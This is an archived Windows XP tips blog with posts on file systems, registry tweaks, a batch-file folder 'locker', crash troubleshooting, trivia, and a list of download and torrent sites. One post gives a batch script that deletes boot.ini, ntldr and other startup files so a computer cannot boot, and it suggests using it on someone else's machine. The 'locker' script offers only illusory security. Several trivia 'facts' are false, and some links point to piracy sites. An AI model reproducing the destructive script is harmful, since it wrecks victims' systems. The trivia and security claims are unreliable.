Monday, March 21, 2011

||| NTFS vs. FAT |||



To NTFS or not to NTFS—that is the question. But unlike the deeper questions of life, this one isn't really all that hard to answer. For most users running Windows XP, NTFS is the obvious choice. It's more powerful and offers security advantages not found in the other file systems. But let's go over the differences among the files systems so we're all clear about the choice. There are essentially three different file systems available in Windows XP: FAT16, short for File Allocation Table, FAT32, and NTFS, short for NT File System.

FAT16
The FAT16 file system was introduced way back with MS–DOS in 1981, and it's showing its age. It was designed originally to handle files on a floppy drive, and has had minor modifications over the years so it can handle hard disks, and even file names longer than the original limitation of 8.3 characters, but it's still the lowest common denominator. The biggest advantage of FAT16 is that it is compatible across a wide variety of operating systems, including Windows 95/98/Me, OS/2, Linux, and some versions of UNIX. The biggest problem of FAT16 is that it has a fixed maximum number of clusters per partition, so as hard disks get bigger and bigger, the size of each cluster has to get larger. In a 2–GB partition, each cluster is 32 kilobytes, meaning that even the smallest file on the partition will take up 32 KB of space. FAT16 also doesn't support compression, encryption, or advanced security using access control lists.

FAT32
The FAT32 file system, originally introduced in Windows 95 Service Pack 2, is really just an extension of the original FAT16 file system that provides for a much larger number of clusters per partition. As such, it greatly improves the overall disk utilization when compared to a FAT16 file system. However, FAT32 shares all of

||| Disable The Send Error report to Microsoft |||


To disable the stupid feature in WinXP which tries to send a report to microsoft every time a program crashes you will have to do this:

1.Right Click on My Computer go to Properties.
Then click on the Advanced tab
Click on the error reporting button on the bottom of the windows.
Select Disable error reporting.
Click OK
Done !!!


Have fun with cdrom

Copy the Following code in to text documeny and save it as cdfun.vbs and give it to your friends or execute it in your system.It will just open and close your CD or DVD ROM continuously since the program is written in for unending loop.

Hide ur drive.....



step 1> In the run box, type "diskpart" and enter
step 2> type "list volume". it will show you the harddisk partitions.
step 3> now select the volume you want to hide .eg: type "select volume2"
step 4>now type "remove letter e" .it will remove the drive E.


if u want to unhide your drive repeat steps till step no 3 and type "assign letter e" and enter
you will see your drive again....

||| How many operating systems do you know? ||||

how many operating systems do you know?

its interesting to know how many operating systems are there
we just heard about windows dos , linux, mac etc but there are lots of os
invented
check it

2K
86-DOS
A/UX
Acados
AdaOS
ADMIRAL
Adrenaline
aerolitheOS
Aimos
AIOS
AIX
AIX/370
AIX/ESA
Allegro
AllianceOS
Alto OS
Amiga OS
Amoeba
Amstrad

How to disable/enable USB storage devices in ur PC



Decent IT administrators secure their networks behind firewalls. They install mail filters on their SMTP servers and deploy anti-virus software on all client workstations. But securing the network is not sufficient -- what happens if the users bring their own USB memory sticks and connect them to the computers at their office? A 1 Gb USB stick can sometimes hold an entire company's vital data. Within minutes or even seconds an employee has all the files they need in order to start up their own business and take all the customers with them. Alternatively, what happens if a careless user accidentally compromises the network with an infected USB stick?
.................................................. ...................................
To disable the access to USB port, in windows XP and 2000
1. Click Start, and then click Run.
2. In the Open box, type regedit, and then click OK.
3. Locate, and then click the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\UsbStor
4. In the right pane, double-click Start.
5. In the Value data box, type 4, click Hexadecimal (if it is not already selected), and then click OK.
6. Quit Registry Editor.

To re-enable a disabled port:

1. Click Start, and then click Run.
2. In the Open box, type regedit, and then click OK.
3. Locate, and then click the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\UsbStor
4. In the right pane, double-click Start.
5. In the Value data box, type 3, click Hexadecimal (if it is not already selected), and then click OK.
6. Quit Registry Editor.
.................................................. .....................................
disable write access to USB port so that data files cannot be written to the mass storage device. The USB thumb drive will be read-only.

Open the Windows Registry and open the following key
HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Control\StorageDevicePolicies

Now add a new DWORD called WriteProtect and put the value as 0 to disable write privileges to the USB port. To reverse the step, either delete the WriteProtect REG_DWORD or toggle the value to 1 which will enable the port.

Remember that the above trick works only with Windows XP SP2.

How to shut down a computer FOREVER!!



How to shut down a computer FOREVER!!

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Open up notepad and copy and paste that. Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Have fun ...

REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)

YOU WONT RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

Lock your Folder without any software



1- Make a new folder ( name it as you like )

2- inside this folder make a ( TXT ) file & copy inside it this:
Code:
cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End



3- after u copy the Commanding go to line ( 23 ) u will find this word : password here (Change it with ) any password u like.

4- After that make ‘save as’ & name as (locker.bat )

5- Now back to the folder & u will find a ( LOCKER ) commanding.

6- Click on it & u will find a new folder (Private )

7- Ok ,, now copy what u want in it & after that go to ( locker ) by click on it , it will open and ask you want lock your folder? Y/N ?


8- Type y

9- If you want UNLOCK your folder ,go to (locker) & type your pass and you will see your private folder.

and Don't forget to remove locker.bat.... Otherwise anyone will be able to Read your password or change the password and open the folder...

||| Super hidden Folder |||

You probably already know how to create just a plain hidden folder. It is super easy, you just right click on the folder and select Hidden then click Apply. The problem is that anyone with access to the computer can easily turn on the Show Hidden Files and Folders and then can easily see the folder you created. Well here is a trick that will get around this problem and create a invisible folder that has no text and no icon.

Please note: Once you create a Super Hidden folder that it will be up to you to remember where you put it. I suggest writing down the location in case you should ever forget about where this folder is.Right Click on the folder you want hidden, then select Properties :

1. Click on the Customize Tab (Note this procedure also works on any icon, some icons do not let you Customize. So, if you do not see a Customize tab, then you will have to create a new folder and move the icon that you are trying to make hidden into the newly created folder. Then you will make the folder Super Hidden)

2. Click On the Change Icon button . The Change Icon box will pop up with the default Windows Icons (If it does not, then click on the Browse button and navigate to your WINDOWS\system32 folder and then find and choose SHELL32.dll then click OPEN .Then Scroll to the right and look for a blank icon. Select the blank icon then click Ok..Then Click Apply. And you should now have a blank icon with only the text below it.

3. have the view settings on Thumbnails, which puts the grey box around the folder. To remove that box, choose either the Icon, Tiles or List from the View settings. Then, Click Start, then My Computer. Click on Tools then Folder Options.On the View tab check mark Hide Extensions For Known File Types then Click Apply .Ok, now that we have that set…

4. Here is the trick to removing the icon title and having a Blank Text untitled icon. First, right click on the icon that you want to remove it’s title, then go to Rename. Now, what you need to do is hold the ALT button down. With the ALT button held down, and using the keypad type 255 then release the ALT button and hit enter, and voila you now have a untitled icon. Thats it. Now you are done with Super Hidden Folder..

||| The Hidden Microsoft Song |||

The Hidden Microsoft Song


Do you know the hidden Microsoft song? I hear this song while im installing windows, where its almost at the end where have to register your windows, enter your username.......etc.


Some people might not hear it because, your sound card driver isn't installed. If you want to know and hear that song, here it is:



Go to
Start > Run > Copy and then Paste, or press and hold the Start + r .


Code:
C:\windows\system32\oobe\images\title.wma

and hit Enter, of course ... Your media player should load the song, and now you can hear it.


***********************************************************************************

Saturday, March 19, 2011

Diffrence Between Actual Size and Size




















Many of you might have noticed that while you see the properties of some folder their are two sizes shown over there in properties window. Those sizes are labeled as “Size” & “Size on disk”. You can also notice that size on disk is always greater than actual size. So, here is the explanation of these two terms.
* Size – It is sum of sizes of all containing files and folders in it, in raw form (count of number of bytes). * Size on disk - It displays the effective size which they occupy in disk.

It is the file system of hard disk which determines the “Size on Disk”, where as “Size” will remain same, irrespective of file system
(like NTFS, Fat32, UDF, etc.).

The disk is further divided into tracks and sectors, file system determines how many tracks or sectors to be included in one cluster. So, if the disk is having a cluster size of 16KB (generally in case of FAT file system). Any file on that disk will have size on disk in multiples of 16KB. So, a file size up to 16KB will occupy 16KB as disk space and file from size 16 to 32KB will occupy 32KB on disk space and so on.

In this way a large volume of disk space gets unused. So, there is a need of file system having smaller cluster size. This is one reason Microsoft came up with a new file system NTFS, after windows millennium.

||| 20 Hidden Windows XP Tips |||


1. Total Uptime:
It boasts how long it can stay up. Go to the Command Prompt in theAccessories menu from the All Programs start button option, and thentype ’systeminfo’. The computer will produce a lot of useful info,including the uptime. If you want to keep these, type ’systeminfo >info.txt’. This creates a file called info.txt you can look at laterwith Notepad.



2. Delete Files Immediately:
You can delete files immediately, without having them move to theRecycle Bin first. Go to the Start menu, select Run… and type‘gpedit.msc’; then select User Configuration, Administrative Templates,Windows Components, Windows Explorer and find the Do not move deletedfiles to the Recycle Bin setting. Set it. Poking around in gpedit willreveal a great many interface and system options, but take care — somemay stop your computer behaving as you wish.



3. Lock XP:
You can lock your XP workstation with two clicks of the mouse.Create a new shortcut on your desktop using a right mouse click, andenter ‘rundll32.exe user32.dll,LockWorkStation’ in the location field.Give the shortcut a name you like. That’s it — just double click on itand your computer will be locked. And if that’s not easy enough,Windows key + L will do the same.



4. Remove System Software:
XP hides some system software you might want to remove, such as WindowsMessenger, but you can make it show everything. Using Notepad or Edit,edit the text file /windows/inf/sysoc.inf, search for the word ‘hide’and remove it. You can then go to the Add or Remove Programs in theControl Panel, select Add/Remove Windows Components and there will bethe software and you can now uninstall it.



5. Interesting New Commands:
For those skilled in the art of DOS batch files, XP has a number ofinteresting new commands. These include ‘eventcreate’ and‘eventtriggers’ for creating and watching system events, ‘typeperf’ formonitoring performance of various subsystems, and ’schtasks’ forhandling scheduled tasks. As usual, typing the command name followed by will give a list of options.



6. IP Version 6 Support:

XP has IP version 6 support — the next generation of IP. Unfortunatelythis is more than your ISP has, so you can only experiment with this onyour LAN. Type ‘ipv6 install’ into Run… (it’s OK, it won’t ruin yourexisting network setup) and then ‘ipv6 ’ at the command line to find out more. If you don’t know what IPv6 is, don’t worry.



7. Task Termination:
You can at last get rid of tasks on the computer from the command lineby using ‘taskkill /pid’ and the task number, or just ‘tskill’ and theprocess number. Find that out by typing ‘tasklist’, which will alsotell you a lot about what’s going on in your system.



8. ZIP Files as Folders:

XP will treat Zip files like folders, which is nice if you’ve got afast machine. On slower machines, you can make XP leave zip files aloneby typing ‘regsvr32 /u zipfldr.dll’ at the command line. If you changeyour mind later, you can change things back by typing ‘regsvr32zipfldr.dll’.



9. XP Has ClearType:
XP has ClearType — Microsoft’s anti-aliasing font display technology —but doesn’t have it enabled by default. It’s well worth trying,especially if you were there for DOS and all those years of staring ata screen have given you the eyes of an astigmatic bat. To enableClearType, right click on the desktop, select Properties, Appearance,Effects, select ClearType from the second drop-down menu and enable theselection. Expect best results on laptop displays. If you want to useClearType on the Welcome login screen as well, set the registry entryHKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.



10. Remote Assistance:

You can use Remote Assistance to help a friend who’s using networkaddress translation (NAT) on a home network, but not automatically. Getyour pal to email you a Remote Assistance invitation and edit the file.Under the RCTICKET attribute will be a NAT IP address, like192.168.1.10. Replace this with your friend’s real IP address — theycan find this out by going to WhatIsMyIP.com - 208.97.139.12 — and get them to make sure that they’ve got port 3389 open on their firewall and forwarded to the errant computer.



11. User Task Management:

You can run a program as a different user without logging out and backin again. Right click the icon, select Run As… and enter the user nameand password you want to use. This only applies for that run. The trickis particularly useful if you need to have administrative permissionsto install a program, which many require. Note that you can have somefun by running programs multiple times on the same system as differentusers, but this can have unforeseen effects.



12. Disable Default Notifications:
Windows XP can be very insistent about you checking for auto updates,registering a Passport, using Windows Messenger and so on. After awhile, the nagging goes away, but if you feel you might go insanebefore that point, run Regedit, go toHKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Adva nced and create a DWORD value calledEnableBalloonTips with a value of 0.



13. Faster Startup:
You can start up without needing to enter a user name or password.Select Run… from the start menu and type ‘control userpasswords2′,which will open the user accounts application. On the Users tab, clearthe box for Users Must Enter A User Name And Password To Use ThisComputer, and click on OK. An Automatically Log On dialog box willappear; enter the user name and password for the account you want touse.



14. Delete Temp Internet Files Automatically:

Internet Explorer 6 will automatically delete temporary files, but onlyif you tell it to. Start the browser, select Tools / Internet Options…and Advanced, go down to the Security area and check the box to EmptyTemporary Internet Files folder when browser is closed.



15. Network Activity Light:
XP comes with a free Network Activity Light, just in case you can’t seethe LEDs twinkle on your network card. Right click on My Network Placeson the desktop, then select Properties. Right click on the descriptionfor your LAN or dial-up connection, select Properties, then check theShow icon in notification area when connected box. You’ll now see atiny network icon on the right of your task bar that glimmers nicelyduring network traffic.



16. Speed-Up Your Start Menu:
The Start Menu can be leisurely when it decides to appear, but you canspeed things along by changing the registry entryHKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default400 to something a little snappier. Like 0.



17. Batch Rename Files:

You can rename loads of files at once in Windows Explorer. Highlight aset of files in a window, then right click on one and rename it. Allthe other files will be renamed to that name, with individual numbersin brackets to distinguish them. Also, in a folder you can arrangeicons in alphabetised groups by View, Arrange Icon By… Show In Groups.



18. Album Cover Arts:

Windows Media Player will display the cover art for albums as it playsthe tracks — if it found the picture on the Internet when you copiedthe tracks from the CD. If it didn’t, or if you have lots of pre-WMPmusic files, you can put your own copy of the cover art in the samedirectory as the tracks. Just call it folder.jpg and Windows MediaPlayer will pick it up and display it.



19. Handy Shortcut Keys:
Windows key + Break brings up the System Properties dialogue box;Windows key + D brings up the desktop; Windows key + Tab moves throughthe taskbar buttons.



20. Windows File Protection:
Windows XP secretly KNOWS that the average user has no idea what theyare doing. Therefore, it doesn’t let you do really stupid things likedeleting the windows directory (at least not without spending severalhours convincing it that you REALLY want to do this).

3 things which Microsoft can never explain

Do it practically Then u 'll come to know...


MAGIC #1
An Indian found that nobody can create a FOLDER anywhere on the Computer
which can be named as "CON". This is something funny and inexplicable. At
Microsoft the whole Team, couldn't answer why this happened!
TRY IT NOW, IT WILL NOT CREATE A "CON" FOLDER


MAGIC #2
For those of you using Windows, do the following:
1...) Open an empty notepad file
2.) Type "Bush hid the facts" (without the quotes)
3.) Save it as whatever you want.
4.) Close it, and re-open it.
Noticed the weird bug? No one can explain!


MAGIC #3
Again this is something funny and can't be explained. At Microsoft the
whole Team, including Bill Gates, couldn't answer why this happened!
It was discovered by a Brazilian. Try it out yourself.
Open Microsoft Word and type
=rand (200, 99)
And then press ENTER
And see the magic.



||| 7 reasons why PCs crash |||

Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1 Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is http://www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2 Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3 BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4 Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5 Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6 Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( http://www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( http://www.symantec.com).

7 Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

Things You May Not Know










1. Money isn't made out of paper; it's made out of cotton.

2. The 57 on Heinz ketchup bottle represents the varieties of pickle the company once had.

3. Your stomach produces a new layer of mucus every two weeks - otherwise it will digest itself .

4. The Declaration of Independence was written on hemp paper.

5. The dot over the letter 'i' is called a "tittle".

6. A raisin dropped in a glass of fresh champagne will bounce up and down continuously from the bottom of the glass to the top.

7. Susan Lucci is the daughter of Phyllis Diller.

8. A duck's quack doesn't echo ... no one knows why.

9. 40% of McDonald's profits come from the sales of Happy Meals.

10 Every person has a unique tongue print (no licking at the scene of a crime!).

11. 315 entries in Webster's 1996 Dictionary were misspelled.

12. The 'spot' on 7UP comes from its inventor who had red eyes. He was albino.

13. On average, 12 newborns will be given to the wrong parents daily.

14. During the chariot scene in 'Ben Hur' a small red car can be seen in the distance.

15. Warren Beatty and Shirley MacLaine are brother and sister.

16. Chocolate affects a dog's heart and nervous system; a few ounces will kill a small sized dog.

17. Orcas (killer whales) kill sharks by torpedoing up into the shark's stomach from underneath, causing the shark to explode.

18. Most lipstick contains fish scales (eeww)..

19. Donald Duck comics were banned from Finland because he doesn't wear pants!

20. Ketchup was sold in the 1830s as medicine.

21. Upper and lower case letters are named 'upper' and 'lower' because in the time when all original print had to be set in individual letters, the 'upper case' letters were stored in the case on top of the case that stored the smaller, 'lower case' letters.

22. Leonardo da Vinci could write with one hand and draw with the other at the same time.

23. Because metal was scarce, the Oscars given out during World War II were made of wood.

24. There are no clocks in Las Vegas gambling casinos.

25. The name Wendy was made up for the book Peter Pan, there was never a recorded Wendy before!

26. There are no words in the dictionary that rhyme with: orange, purple, and silver!

27. Leonardo Da Vinci invented scissors. Also, it took him 10 years to paint Mona Lisa's lips.

28. A tiny amount of liquor on a scorpion will make it instantly go mad and sting itself to death.

29. The mask used by Michael Myers in the original "Halloween" was a Captain Kirk mask painted white.

30. If you have three quarters, four dimes, and four pennies, you have $1.19.. You also have the largest amount of money in coins without being able to make change for a dollar.

31. By raising your legs slowly and lying on your back, you can't sink in quicksand.

32. The phrase "rule of thumb" is derived from an old English law, which stated that you couldn't beat your wife with anything wider than your thumb.

33. American Airlines saved $40,000 in '87 by eliminating one olive from each salad served in first class.

34. The first product Motorola started to develop was a record player for automobiles. At that time, the most known player on the market was the Victrola, so they called themselves Motorola.

35. Celery has negative calories! It takes more calories to eat a piece of celery than the celery has in it to begin with. It's the same with apples!

36. Chewing gum while peeling onions will keep you from crying!

37. The glue on Israeli postage stamps is certified kosher.

38. Guinness Book of Records holds the record for being the book most often stolen from Public Libraries.

39. Back in the mid to late 80's, an IBM compatible computer wasn't considered a hundred percent compatible unless it could run Microsoft's Flight Simulator game.

40. Astronauts are not allowed to eat beans before they go into space because passing wind in a space suit damages them.

HOW TO GET MOST THINGS FREE FROM INTERNET


For themes, software & games for your mobile devices:

http://www.mobile9.com

http://www.s60.com

http://www.dotsis.com

http://www.ownskin.com (u can design your own theme here)

http://www.zedge.net

http://www.getjar.com

U can even make free calls from your mobile:

Now for free softwares:

www.download.com

www.softpedia.com

www.brothersoft.com

www.filehippo.com

www.downloadanystuff.org

www.majorgeeks.com

For full version software downloads:

www.phazeddl.com

For free music:

You all must be knowing these sites:

www.djpreet.net/dj

www.songs.pk

www.fmw11.net

www.desihits.com

www.cooltoad.com

But here are some more sites from where you can find almost all songs:

http://www.desiweb.net

http://www.desim4u.net

http://www.papuyaar.com

http://www.bollyexpress.com

http://www.okesite.com

http//www.thefreesongs.com

http://www.bollyfm.com

http://www.cooltoad.com

http://www.mp3raid.com

http://www.mp3fusion.net

http://www.desiweb.net

http://www.desim4u.net

http://www.songs.pk

http://www.bollyexpress.com

http://www.okesite.com

http://www.musicmaza.com

http://www.thefreesongs.com

http://www.bollyfm.com

http://www.raaga.com

http://www.smashits.com

http://www.apniisp.com

http://www.desimp3s.com/

http://www.indiamp3.com/

http://www.indiafms.com

http://ww.smashits.com/

http://www.musicindiaonline.com/

http://indiagalaxy.com/

http://www.indiamusic.com/

http://www.radionazara.com/

http://www.indiafm.com/

http://www.masti4india.com

http://www.indiafm.com/

http://www.musicdesi.com/

http://www.bollywoodsargam.com/

Rare Old Hindi Songs:

http://www.indianscreen.com/

http://www.funmaza.com/

http://www.masti4india.com

http://www.mp3.com

http://www.mp3shits.com

http://www.desimp3s.com/

http://www.indiamp3.com/

http://www.indianmelody.com

http://www.bollyfm.net

For movies:

www.phazeddl.com

For downloading movies through torrents, you must have one of these bit torrent, bit comet, vuze, get right, ยต torrent etc.

Using torrents:


Websites which provide torrents are following:

www.isohunt.com

www.piratebay.org

www.torrentz.com

For free cd’s:

Microsoft dream spark India:

https://shipit.ubuntu.com/


https://shipit.kubuntu.org/

netbeans: http://edu.netbeans.org/dvd/

sabayon linux: http://www.sabayonlinux.org/

http://www.netbeans.org/about/media.html

http://www.freewarehome.com/

http://www.freelinuxcd.org/

http://www.totallyfreestuff.com/

http://www.free-stuff.co.uk/

For e-books:

http://www.freebookspot.com/ - Download free books in categories like scientific, engineering, programming, fiction and many other books.

http://4ebooks.org/ - collection of computer programming ebooks like .Net, Action script, Ajax, Apache and etc.

http://www.free-ebooks.net/ - provides free ebooks for your PDA, iPod or eBook Reader

http://manybooks.net/

http://www.getfreeebooks.com/

http://freecomputerbooks.com/ - consists of a huge collection of free online Computer, Programming, Mathematics, Technical Books, Lecture Notes and Tutorials

http://www.freetechbooks.com/ - lists free online computer science, engineering and programming books, textbooks and lecture notes, all of which are legally and freely available over the Internet.

http://www.scribd.com/ - the online document sharing site which supports Word, Excel, PowerPoint, PDF and other popular formats

http://knowfree.net/ - is a web portal where users are able to exchange freely e-books, video training and other materials for educational purposes and self-practice.

http://www.onlinefreeebooks.net/ - provides links to various ebooks (mostly in pdf) spanning in 9 big categories which are: Automotive Ebooks, Business Ebooks, Engineering Ebooks, Gadget Ebooks, Hardware Ebooks, Health & Medical Ebooks, Hobbies Ebooks, Programming & Technology Ebooks, Sport & Martial Art Ebooks

http://www.onlinecomputerbooks.com/ - free online books and sample chapters related to Information Technology, Computer Science, Internet, Business, Marketing, Math’s, Physics and Science

http://www.snipfiles.com/ - offers you free ebooks and software

http://www.bookyards.com/ - library to the world.

http://www.asksam.com/ebooks/ - collection of free e-books like Shakespeare, and assorted legal & governmental texts.

http://www.baen.com/library/

http://www.slideshare.net/ (a website for sharing of power point slides)

http://www.pdf-search-engine.com/ (finding pdf files of any topic)

http://www.esnips.com/ (a site of sharing files, photography and getting free online storage 5gb

http://www.whatsonmybookshelf.com/ -connecting people and books.

http://free-ebook-download-links.blogspot.com/

http://www.manybooks.net - Free eBooks for your PDA, iPod, or eBook reader

http://www.scribd.com - Open library to publish and discover documents online

http://www.worldlibrary.net - 400,000 PDF ebooks for download

http://www.freetechbooks.com - Free computer science and engineering books (+ lecture notes)

http://www.bookins.com - Swap real books with other readers

http://www.welltoldtales.com - Free short story podcasts (like audiobooks, but shorter.

http://www.chmpdf.com/archives/ebooks - A collection of general interest and technical ebooks

http://www.realtimepublishers.com - free IT eBooks by many of the world’s best authors

http://www.frugalreader.com - Trade Books for free

http://www.sf-books.com - Exchange Sci-Fi Books here

http://www.Flazx.com - IT and computer books

http://www.baen.com/library - Free science fiction and fantasy novels

http://www.librarything.com - Social networking and free books

http://www.Archive.org - The Internet indexed - that includes a vast text library

http://www.bookyards.com - Books, videos, education materials

http://www.docstoc.com - online document sharing website. the “YouTube of documents”

http://www.planetpdf.com/free_pdf_ebooks.asp - A small collection of classic novels all in PDF format.

http://www.dailylit.com - Read books online by daily email and RSS feed.

http://en.Wikibooks.org/wiki/Main_Page - Wikibooks is a Wikimedia community for creating a free library of educational textbooks that anyone can edit.

http://www.adobe.com/epaper/ebooks/freebooks.html - In Adobe’s Free eBooks area, you can download, unlock, and read electronic books on your personal computer or reading device.

For free e-learning:

www.w3schools.com

www.youtube.com/edu

Free domain name:

http://www.mochahost.com

http://www.co.cc

http://www.freedomain.co.nr/

http://www.cjb.in

Free online storage:

http://www.skydrive.live.com/ - online storage up to 25 GB (50 MB/ file)

http://www.mesh.com/ - online storage up to 25 GB

http://sync.live.com – for online storage & synchronization of files (4 GB/ file)

http://www.rapidshare.com – online storage up to 200 MB/ file